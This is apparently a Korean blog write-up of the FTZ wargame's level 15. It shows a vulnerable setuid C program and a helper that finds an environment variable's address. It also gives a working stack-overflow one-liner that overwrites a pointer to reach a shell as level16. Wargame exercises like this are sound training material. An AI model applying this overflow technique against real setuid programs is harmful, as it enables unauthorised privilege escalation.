FTZ level15
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include<stdio.h> main(){ int crap; int *check; char buf[20]; fgets(buf,45,stdin); if (*check==0xdeadbeef) { setreuid(3096,3096); system("/bin/sh"); } } | cs |
*check 포인터 변수는 입력받은 값을 주소로 받아
그 주소 안에 있는 값을 참조하므로
*check가 참조하는 값이 deadbeef가 되어야 한다
환경변수선언
export shellcode=`python -c 'print "\xef\xbe\xad\xde"'`
*check에 shellcode 주소를 채우기만 하면 된다.
환경변수 주소 찾기
-앞에서 나온 주소 찾기 소스는 대략적인 위치만을 찾아 NOP Sled를 사용해 쉘코드를 실행시켰지만
이문제는 환경변수의 정확한 시작 주소를 찾아야 하기 때문에 아래의 소스를 쓴다
--get.c
1 2 3 4 5 6 7 | int main(int argc, char **argv){ long ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; printf("\nUse Address : %p", ptr); return 0; } | cs |
//USAGE ./get 환경변수이름/ target의절대경로
./get shellcode /home/level15/attackme
Use Address : 0xbffffeff
공격 코드는
(python -c 'print "A"*40 + "\xff\xfe\xff\xbf"';cat) | /home/level15/attackme
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)
my-pass
Level16 Password
'System > FTZ' 카테고리의 다른 글
FTZ level16 (0) | 2015.03.17 |
---|---|
FTZ level14 (0) | 2015.03.17 |
FTZ level13 (0) | 2015.03.17 |
FTZ level12 (0) | 2015.03.17 |
FTZ level11 (0) | 2015.03.17 |